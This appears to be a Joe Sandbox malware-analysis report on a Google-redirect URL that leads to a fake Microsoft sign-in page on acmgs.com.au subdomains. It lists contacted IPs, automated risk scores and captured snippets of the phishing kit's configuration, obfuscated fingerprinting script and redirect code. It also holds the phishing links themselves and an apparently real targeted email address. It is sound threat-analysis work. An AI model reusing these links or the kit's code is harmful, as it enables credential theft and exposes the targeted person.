https://google.com.mx//url?ob=pkmcekw7bljbM2dWBuuV7ic1KFgH&aw=f_rand_string_lowercase(8)n9QXkBk0w4OyBDvUpuk&sa=t&whi=f_rand_string_lowercase(8)zOPGXNRztppHiTbPIt5f&url=amp%2Fbraverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t	false	high
https://dab02a46-e455dbd6.acmgs.com.au/Prefetch/Prefetch.aspx	true	unknown
https://www.google.com.mx/amp/braverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t	false	high
https://881a0950-e455dbd6.acmgs.com.au/shared/1.0/content/js/ConvergedLogin_PCore_kAx9qZOSH4g90FNHstHMCA2.js	true	unknown
https://881a0950-e455dbd6.acmgs.com.au/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css	true	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.181.131	www.google.com.mx	United States	15169	GOOGLEUS	false
216.58.208.227	google.com.mx	United States	15169	GOOGLEUS	false
142.250.181.132	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
159.89.96.140	l1ve.acmgs.com.au	United States	14061	DIGITALOCEAN-ASNUS	true
169.150.255.183	1004834818.rsc.cdn77.org	United States	2711	SPIRITTEL-ASUS	false
162.241.114.35	braverygray.com	United States	46606	UNIFIEDLAYER-AS-1US	false

Private

IP
192.168.2.8

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579104
Start date and time:	2024-12-20 20:29:41 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://google.com.mx//url?ob=pkmcekw7bljbM2dWBuuV7ic1KFgH&aw=f_rand_string_lowercase(8)n9QXkBk0w4OyBDvUpuk&sa=t&whi=f_rand_string_lowercase(8)zOPGXNRztppHiTbPIt5f&url=amp%2Fbraverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.phis.win@18/52@28/8

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.181.99, 172.217.17.78, 64.233.164.84, 172.217.17.46, 142.250.181.142, 192.229.221.95, 172.217.17.35, 142.250.181.42, 142.250.181.138, 172.217.17.42, 172.217.17.74, 172.217.19.202, 172.217.21.42, 172.217.19.10, 172.217.19.170, 172.217.19.234, 142.250.181.106, 142.250.181.74, 92.122.16.236, 20.12.23.50
Excluded domains from analysis (whitelisted): fs.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, accounts.google.com, redirector.gvt1.com, content-autofill.googleapis.com, slscr.update.microsoft.com, update.googleapis.com, clientservices.googleapis.com, clients.l.google.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://google.com.mx//url?ob=pkmcekw7bljbM2dWBuuV7ic1KFgH&aw=f_rand_string_lowercase(8)n9QXkBk0w4OyBDvUpuk&sa=t&whi=f_rand_string_lowercase(8)zOPGXNRztppHiTbPIt5f&url=amp%2Fbraverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t

Input	Output
URL: https://google.com.mx Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://google.com.mx
URL: https://0nlineactivations-0nlineactivations-0nline... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The provided JavaScript snippet contains several behaviors that raise moderate security concerns. It includes external data transmission to third-party domains, the use of fallback domains, and aggressive DOM manipulation. While the script appears to have a legitimate purpose related to authentication and user management, the lack of transparency around the data being transmitted and the use of multiple domains, some of which may be untrusted, warrant further review. Overall, this script requires closer inspection to ensure it is not engaging in any malicious activities." }
//<![CDATA[ $Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://l1ve.acmgs.com.au/oauth20_authorize.srf?scope=openid+profile+email+offline_access\u0026response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2f0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au%2fcommon%2ffederation%2foauth2msa\u0026state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuARqC_fbsP-Pc599L8lngqp18ixGzviczDKwylWMyoSN07_AyPiCkXESk0RueWpSkkN5Zl5KcX5RRn5uanFJBUjFLSZB_6J0z5TwYrfUlNSixJLM_LxHzDiVX2AReMXCY8BsxcHBJcAgwaDA8IOFcREr0K2y3ZX9tyt--7W2n_6kp3eR6RSrflJKTrZnSKhFjluJR2F-VKRfamSesatfVol2rravqWNSWJK7doqPk6-zSaStsZXhBDahCWxMp9gYPrAxdbAzzGJnOMDJeIsbaHbMo5wlN5PV_NbvvCT0sjC-_hE2wQ08jAd4GX7wnTs_8ey5pSfeebzi1_EOrijISw73SAzJzvHJN_QMCvDOM0208EyrcNQvCzfI9NI2rMwpTKzKS8u33SDA8ECAAQA1\u0026login_hint=mwebb%40windsorhomestx.com\u0026estsfed=1\u0026uaid=3cbf717dff07475e9bde624c90253b63\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026fci=https%3a%2f%2ff997d98d-e455dbd6.acmgs.com.au","urlMsaLogout":"https://l1ve.acmgs.com.au/logout.srf?iframed_by=https%3a%2f%2f0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au","urlOtherIdpForget":"https://l1ve.acmgs.com.au/forgetme.srf?iframed_by=https%3a%2f%2f0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au","showCantAccessAccountLink":true,"urlGitHubFed":"https://l1ve.acmgs.com.au/oauth20_authorize.srf?scope=openid+profile+email+offline_access\u0026response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2f0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au%2fcommon%2ffederation%2foauth2msa\u0026state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuARqC_fbsP-Pc599L8lngqp18ixGzviczDKwylWMyoSN07_AyPiCkXESk0RueWpSkkN5Zl5KcX5RRn5uanFJBUjFLSZB_6J0z5TwYrfUlNSixJLM_LxHzDiVX2AReMXCY8BsxcHBJcAgwaDA8IOFcREr0K2y3ZX9tyt--7W2n_6kp3eR6RSrflJKTrZnSKhFjluJR2F-VKRfamSesatfVol2rravqWNSWJK7doqPk6-zSaStsZXhBDahCWxMp9gYPrAxdbAzzGJnOMDJeIsbaHbMo5wlN5PV_NbvvCT0sjC-_hE2wQ08jAd4GX7wnTs_8ey5pSfeebzi1_EOrijISw73SAzJzvHJN_QMCvDOM0208EyrcNQvCzfI9NI2rMwpTKzKS8u33SDA8ECAAQA1\u0026login_hint=mwebb%40windsorhomestx.com\u0026estsfed=1\u0026uaid=3cbf717dff07475e9bde624c90253b63\u0026fci=https%3a%2f%2ff997d98d-e455dbd6.acmgs.com.au\u0026idp_hint=github.acmgs.com.au","arrExternalTrustedRealmFederatedIdps":[],"fShowSignInWithGitHubOnlyOnCredPicker":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~land Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~43!!!AZ~Azerbaijan~994!!!BS~Bahamas~1!!!BH~Bahrain~973!!!BD~Bangladesh~880!!!BB~Barbados~1!!!BY~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Cte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~Curaao~599!!!CY~Cyprus~357!!!CZ~Czechia~420!!!DK~Denmark~45!!!DJ~Djibouti~253!!!DM~Dominica~1!!!DO~Dominican Republic~1!!!EC~Ecuador~593!!!EG~Egypt~20!!!SV~El Salvador~503!!!GQ~Equatorial Guinea~240!!!ER~Eritrea~291!!!EE~Estonia~372!!!ET~Ethiopia~251!!!FK~Falkland Islands~500!!!FO~Far
URL: https://0nlineactivations-0nlineactivations-0nline... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code. While some of the behaviors may be related to legitimate functionality like analytics or error reporting, the overall level of risk is high due to the presence of multiple suspicious activities." }
function a0X4(){var JX=['Math','AMfXX','','pageXOffset','chrome','subarray','reduce','oASQM','exp','iPad','gcQKq','NeHIi','DIALOG','delayFallback','bbueH','Arial\x20Unicode\x20MS','submit','notified','for','fail','Wrong\x20number\x20of\x20repetitions','ApplePaySession','setImmediate','kzmql','QQJwl','Symbol\x20is\x20not\x20a\x20constructor','aLTHu','HJSjD','.alert-info[data-block-track*=\x22CookieNotice\x22]','','frequency','Gcyas','then','Unexpected\x20syntax\x20\x27','','xUwBo','initEvent','Meiryo\x20UI','IS_RECORD','ALzKc','form','defineProperty','.ylamainos','resolvedOptions','ugSgP','4.5.1','JSON','pMEef','xuGeP','TjVRE','TypeError','Calibri','throw','9','mBfiA','MT\x20Extra','Ktmqr','apply','encode','emit','msSaveBlob','.etsy-tweet','random','filter:hue-rotate(','','#mod-social-share-2','RGmLb','webkitTextSizeAdjust','charAt','toLowerCase','Date','NciVs','sQtpu','MacIntel','PZAEY','\x20Iterator','fromCharCode','visibility','cache','sessionStorage','IpHWT','FRAGMENT_SHADER','hardwareConcurrency','\x0atimeBetweenLoadAndGet:\x20','fill','@@iterator','dxPWn','table','offsetParent','CONSTRUCTOR','samsungAr','offsetWidth','2770243KBLQfB','RLlrD','supports','TKmtU','.mobile_adhesion','Unhandled\x20promise\x20rejection','values','Event','top','','srcdoc','parentNode','.o--cookies--container','#publiEspecial','span','RangeError','jVPnj','EHQOa','AwsTi','RENDERER','method','timeout','SsDnY','getTextInformation','language','RhNnf','process','attributionSourceId','lastIndex','RGBColor','iCZbP','tail','bCCOs','label','species','clientHeight','MS\x20Mincho','write','contentWindow','','NIpCo','ITvtr','srLatency','popover','suffixes','RPyiI','pixelDepth','msLaunchUri','GpoVM','GLomt','cMymV','UNMASKED_RENDERER_WEBGL','','tanh','OegWK','concat','RGQqb','webkitTemporaryStorage','','BwJkz','__yb','data','bind','symbols','toLocaleString','(?:\x20','JAbGi','ul.adsmodern','acosh','Siumr','left','script','SimHei','Wwrkf','unhandledRejection','Bun','','languages','devicePixelRatio','facade','BROWSER','','EZWJE','abbc','TClmc','sticky','[object\x20Reflect]','getContext','ongestureend','serif','inyby','NnswH','version','Symbol.','availLeft','Clarendon','context','Dispatch','textBaseline','appVersion','sort','appendChild','load','ddqpX','exitFullscreen','$<a>c','rect','webdriver','getFullYear','cssText','DENO','LPTWX','SUJfb','unicode','#barraPublicidade','','vwEHm','ops','\x0avisitorId:\x20','Notification','pgGfb','rejectionhandled','iframe','undefined','YEwiq','Small\x20Fonts','MediaSettingsRange','1482490zHBgED','HLhvc','Symbol(','arc','#kauli_yad_1','split','tkzqf','wJsGQ','ratio','indexOf','safari','hSFIh','DRMXp','CSSCounterStyleRule','#FollowUs','mmLZl','FLzrG','Tyfrc','CPSjX','cyCTQ','(dynamic-range:\x20','RegExp#exec\x20called\x20on\x20incompatible\x20receiver','VERSION','toJSON','[object\x20WebPageNamespace]','SIFoB','constructor','HELV','IjZEL','[id^=\x22bn_bottom_fixed_\x22]','withoutSetter','HTMLButtonElement','TLAkG','GeneratorFunction','rec2020','class','Bad\x20Promise\x20constructor','Array','toISOString','trunc','index','__gCrWeb','yDLHR','DateTimeFormat','target','TRAJAN\x20PRO','rejectionHandled','stack','font-size-adjust:\x20ex-height\x200.5','MuaBz','return','00000000','','rgba(102,\x20204,\x200,\x200.2)','AibXt','#taotaole','BPKbQ','getParameter','platform','2364585kfMpMH','Promise-chain\x20cycle','.community__social-desc','','debug','])[','Futura\x20Bk\x20BT','promise','#mobileCatfish','close','lgvdZ','Dtuhe','sinh','defineProperties','','string-to-symbol-registry','cookietest=','String','fHbqG','.article-sharer','fillRect','rYBlo','#queTooltip','bhtdF','.cc-CookieWarning','','UTC','JCRTQ','parentWindow','','__spreadArray','return\x20(function()\x20','965544HZRQGw','send','screen','ownKeys','port1','destination','error','EUROSTILE','318414OOamgN','.mainostila','Generator\x20is\x20already\x20executing.','.ezmob-footer','#issuem-leaky-paywall-articles-zero-remaining-nag','webglCreateContextError','fnNZN','ZGYrH','msSetImmediat
URL: https://0nlineactivations-0nlineactivations-0nline... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "The provided JavaScript snippet contains a mix of behaviors that warrant further review. While it does not exhibit any clear high-risk indicators, such as dynamic code execution or data exfiltration, it does include some moderate-risk behaviors, like external data transmission and the use of fallback domains. Additionally, the script appears to be heavily configured, which could indicate potential for abuse or misuse. Overall, the script requires closer inspection to determine the full extent of its functionality and potential risks." }
//<![CDATA[ $Config={"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://881a0950-e455dbd6.acmgs.com.au/shared/1.0/","urlDefaultFavicon":"https://881a0950-e455dbd6.acmgs.com.au/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico","urlPost":"/login.srf?username=mwebb%40windsorhomestx.com\u0026client-request-id=8c9866a7-1c0d-4786-b989-ac77664c0875\u0026sso_reload=True","iPawnIcon":0,"sPOST_Username":"","sFTName":"flowToken","fEnableOneDSClientTelemetry":true,"dynamicTenantBranding":null,"staticTenantBranding":null,"oAppCobranding":{},"iBackgroundImage":2,"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fUseMsaSessionState":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://de6af629-e455dbd6.acmgs.com.au/{0}/winauth/sso?client-request-id=8c9866a7-1c0d-4786-b989-ac77664c0875","iwaSsoProbeUrlFormat":"https://de6af629-e455dbd6.acmgs.com.au/{0}/winauth/ssoprobe?client-request-id=8c9866a7-1c0d-4786-b989-ac77664c0875","iwaIFrameUrlFormat":"https://de6af629-e455dbd6.acmgs.com.au/{0}/winauth/iframe?client-request-id=8c9866a7-1c0d-4786-b989-ac77664c0875\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"","isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://de6af629-e455dbd6.acmgs.com.au/common/winauth/sso/edgeredirect?client-request-id=8c9866a7-1c0d-4786-b989-ac77664c0875\u0026origin=login.microsoftonline.com\u0026is_redirected=1","isFlowTokenPassedInEdge":true},"iSessionPullType":2,"fUseSameSite":true,"isGlobalTenant":true,"uiflavor":1001,"fOfflineAccountVisible":false,"fEnableUserStateFix":true,"fShowAccessPassPeek":true,"fUpdateSessionPollingLogic":true,"fEnableShowPickerCredObservable":true,"fFetchSessionsSkipDsso":true,"fUseNonMicrosoftDefaultBrandingForCiam":true,"fRemoveCustomCss":true,"fFixUICrashForApiRequestHandler":true,"fShowUpdatedKoreanPrivacyFooter":true,"fUsePostCssHotfix":true,"fFixUserFlowBranding":true,"fEnablePasskeyNullFix":true,"fEnableRefreshCookiesFix":true,"scid":2001,"hpgact":2101,"hpgid":6,"apiCanary":"PAQABDgEAAADW6jl31mB3T7ugrWTT8pFeyqx4a0D7KjfSpA4EvB7xf5mMWDUrr237oPsXHLFB7D6QCw_GsmByU-m0uktl2NTn4gGMKNEyPpt4vizXwwtpBk3HpAUXcqEdP4fmT_WUxYiedch4bvYIq72qgSfQDQMdUOv5vKO218agkOx5THBS81W-BMDXOQ96qdyv89vKTmZH4MYizGbofo1-fCstWRW-9jXt5pl2W5QALLcw_eE8ICAA","canary":"bdlkITU8lFtHqoZYNeYn3ENjt+m+M5AbVbG+dLBMC4Y=8:1:CANARY:gQYhqlLcjwNFiTswQo8WCfJj7/AAeKDAJ/GnHxAnkEc=","sCanaryTokenName":"canary","fSkipRenderingNewCanaryToken":false,"fEnableNewCsrfProtection":true,"correlationId":"8c9866a7-1c0d-4786-b989-ac77664c0875","sessionId":"4bd5c5a4-c3ff-4094-b88b-8c3d1b216100","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/common/instrumentation/reportpageload","dssostatus":"https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/common/instrumentation/dssostatus"}},"browser":{"ltr":1,"Chrome":1,"_Win":1,"_M117":1,"_D0":1,"Full":1,"Win81":1,"RE_WebKit":1,"b":{"name":"Chrome","major":117,"minor":0},"os":{"name":"Windows","version":"10.0"},"V":"117.0"},"watson":{"url":"/common/handlers/watson","bundle":"https://881a0950-e455dbd6.acmgs.com.au/ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js","sbundle":"https://881a0950-e455dbd6.acmgs.com.au/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js","fbundle":"https:
URL: https://0nlineactivations-0nlineactivations-0nline... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The provided JavaScript snippet contains several behaviors that raise moderate security concerns. It includes external data transmission to multiple domains, some of which may be of unknown or suspicious reputation. Additionally, the script uses obfuscated URLs and contains aggressive DOM manipulation. While the intent appears to be related to authentication and authorization, the overall implementation raises enough red flags to warrant further investigation and review." }
//<![CDATA[ $Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://l1ve.acmgs.com.au/oauth20_authorize.srf?scope=openid+profile+email+offline_access\u0026response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2f0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au%2fcommon%2ffederation%2foauth2msa\u0026state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuARqC_fbsP-Pc599L8lngqp18ixGzviczDKwylWMyoSN07_AyPiCkXESk0RueWpSkkN5Zl5KcX5RRn5uanFJBUjFLSZB_6J0z5TwYrfUlNSixJLM_LxHzDiVX2AReMXCY8BsxcHBJcAgwaDA8IOFcREr0K2y3ZX9tyt--7W2n_6kp3eR6RSrflJKTrZnSKhFjluJR2F-VKRfamSesatfVol2rravqWNSWJK7doqPk6-zSaStsZXhBDahCWxMp9gYPrAxdrAzzGJnOMDJuIGH8QAvww--c-cnnj239MQ7j1f8OkVp6UGm_kkBfiZheW6hZlUWlikRrk6Z5UbavkY-gf5m2e7euYG-6VG5po62GwQYHggwAAA1\u0026login_hint=mwebb%40windsorhomestx.com\u0026estsfed=1\u0026uaid=3cbf717dff07475e9bde624c90253b63\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026fci=https%3a%2f%2ff997d98d-e455dbd6.acmgs.com.au","urlMsaLogout":"https://l1ve.acmgs.com.au/logout.srf?iframed_by=https%3a%2f%2f0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au","urlOtherIdpForget":"https://l1ve.acmgs.com.au/forgetme.srf?iframed_by=https%3a%2f%2f0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au","showCantAccessAccountLink":true,"urlGitHubFed":"https://l1ve.acmgs.com.au/oauth20_authorize.srf?scope=openid+profile+email+offline_access\u0026response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2f0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au%2fcommon%2ffederation%2foauth2msa\u0026state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuARqC_fbsP-Pc599L8lngqp18ixGzviczDKwylWMyoSN07_AyPiCkXESk0RueWpSkkN5Zl5KcX5RRn5uanFJBUjFLSZB_6J0z5TwYrfUlNSixJLM_LxHzDiVX2AReMXCY8BsxcHBJcAgwaDA8IOFcREr0K2y3ZX9tyt--7W2n_6kp3eR6RSrflJKTrZnSKhFjluJR2F-VKRfamSesatfVol2rravqWNSWJK7doqPk6-zSaStsZXhBDahCWxMp9gYPrAxdrAzzGJnOMDJuIGH8QAvww--c-cnnj239MQ7j1f8OkVp6UGm_kkBfiZheW6hZlUWlikRrk6Z5UbavkY-gf5m2e7euYG-6VG5po62GwQYHggwAAA1\u0026login_hint=mwebb%40windsorhomestx.com\u0026estsfed=1\u0026uaid=3cbf717dff07475e9bde624c90253b63\u0026fci=https%3a%2f%2ff997d98d-e455dbd6.acmgs.com.au\u0026idp_hint=github.acmgs.com.au","arrExternalTrustedRealmFederatedIdps":[],"fShowSignInWithGitHubOnlyOnCredPicker":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~land Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~43!!!AZ~Azerbaijan~994!!!BS~Bahamas~1!!!BH~Bahrain~973!!!BD~Bangladesh~880!!!BB~Barbados~1!!!BY~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Cte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~Curaao~599!!!CY~Cyprus~357!!!CZ~Czechia~420!!!DK~Denmark~45!!!DJ~Djibouti~253!!!DM~Dominica~1!!!DO~Dominican Republic~1!!!EC~Ecuador~593!!!EG~Egypt~20!!!SV~El Salvador~503!!!GQ~Equatorial Guinea~240!!!ER~Eritrea~291!!!EE~Estonia~372!!!ET~Ethiopia~251!!!FK~Falkland Islands~500!!!FO~Faroe Islands~298!!!FJ~Fiji~679!!!FI~Finland~358!!!FR~France~33!!!G
URL: https://0nlineactivations-0nlineactivations-0nline... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The script demonstrates moderate-risk behaviors, including redirecting the user to a potentially untrusted domain and modifying the URL with query parameters. While the intent is not entirely clear, the script's behavior raises concerns and requires further investigation." }
//<![CDATA[ !function(){var e=window,s=e.document,i=e.$Config\|\|{};if(true){s&&s.body&&(s.body.style.display="block")}else if(false){var o,t,r,f,n,d;if(i.fAddTryCatchForIFrameRedirects){try{o=e.self.location.href,t=o.indexOf("#"),r=-1!==t,f=o.indexOf("?"),n=r?t:o.length,d=-1===f\|\|r&&f>t?"?":"&",o=o.substr(0,n)+d+"iframe-request-id="+i.sessionId+o.substr(n),e.top.location=o}catch(e){}}else{o=e.self.location.href,t=o.indexOf("#"),r=-1!==t,f=o.indexOf("?"),n=r?t:o.length,d=-1===f\|\|r&&f>t?"?":"&", o=o.substr(0,n)+d+"iframe-request-id="+i.sessionId+o.substr(n),e.top.location=o}}}(); //
URL: https://0nlineactivations-0nlineactivations-0nline... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "This JavaScript snippet exhibits several behaviors that raise moderate security concerns. It uses dynamic code execution through the `Function` constructor, which can be a high-risk indicator. Additionally, it sends data to external domains, which could potentially lead to data exfiltration. While the intent of the script is not entirely clear, the combination of these behaviors warrants further investigation and a medium-risk score." }
!function(){"use strict";var t=function(r,e){return t=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,r){t.__proto__=r}\|\|function(t,r){for(var e in r)Object.prototype.hasOwnProperty.call(r,e)&&(t[e]=r[e])},t(r,e)};function r(r,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function n(){this.constructor=r}t(r,e),r.prototype=null===e?Object.create(e):(n.prototype=e.prototype,new n)}function e(t,r,e,n){return new(e\|\|(e=Promise))((function(o,i){function u(t){try{s(n.next(t))}catch(t){i(t)}}function c(t){try{s(n.throw(t))}catch(t){i(t)}}function s(t){var r;t.done?o(t.value):(r=t.value,r instanceof e?r:new e((function(t){t(r)}))).then(u,c)}s((n=n.apply(t,r\|\|[])).next())}))}function n(t,r){var e,n,o,i,u={label:0,sent:function(){if(1&o[0])throw o[1];return o[1]},trys:[],ops:[]};return i={next:c(0),throw:c(1),return:c(2)},"function"==typeof Symbol&&(i[Symbol.iterator]=function(){return this}),i;function c(c){return function(s){return function(c){if(e)throw new TypeError("Generator is already executing.");for(;i&&(i=0,c[0]&&(u=0)),u;)try{if(e=1,n&&(o=2&c[0]?n.return:c[0]?n.throw\|\|((o=n.return)&&o.call(n),0):n.next)&&!(o=o.call(n,c[1])).done)return o;switch(n=0,o&&(c=[2&c[0],o.value]),c[0]){case 0:case 1:o=c;break;case 4:return u.label++,{value:c[1],done:!1};case 5:u.label++,n=c[1],c=[0];continue;case 7:c=u.ops.pop(),u.trys.pop();continue;default:if(!(o=u.trys,(o=o.length>0&&o[o.length-1])\|\|6!==c[0]&&2!==c[0])){u=0;continue}if(3===c[0]&&(!o\|\|c[1]>o[0]&&c[1]<o[3])){u.label=c[1];break}if(6===c[0]&&u.label<o[1]){u.label=o[1],o=c;break}if(o&&u.label<o[2]){u.label=o[2],u.ops.push(c);break}o[2]&&u.ops.pop(),u.trys.pop();continue}c=r.call(t,u)}catch(t){c=[6,t],n=0}finally{e=o=0}if(5&c[0])throw c[1];return{value:c[0]?c[1]:void 0,done:!0}}([c,s])}}}Object.create;function o(t){var r="function"==typeof Symbol&&Symbol.iterator,e=r&&t[r],n=0;if(e)return e.call(t);if(t&&"number"==typeof t.length)return{next:function(){return t&&n>=t.length&&(t=void 0),{value:t&&t[n++],done:!t}}};throw new TypeError(r?"Object is not iterable.":"Symbol.iterator is not defined.")}function i(t,r){var e="function"==typeof Symbol&&t[Symbol.iterator];if(!e)return t;var n,o,i=e.call(t),u=[];try{for(;(void 0===r\|\|r-- 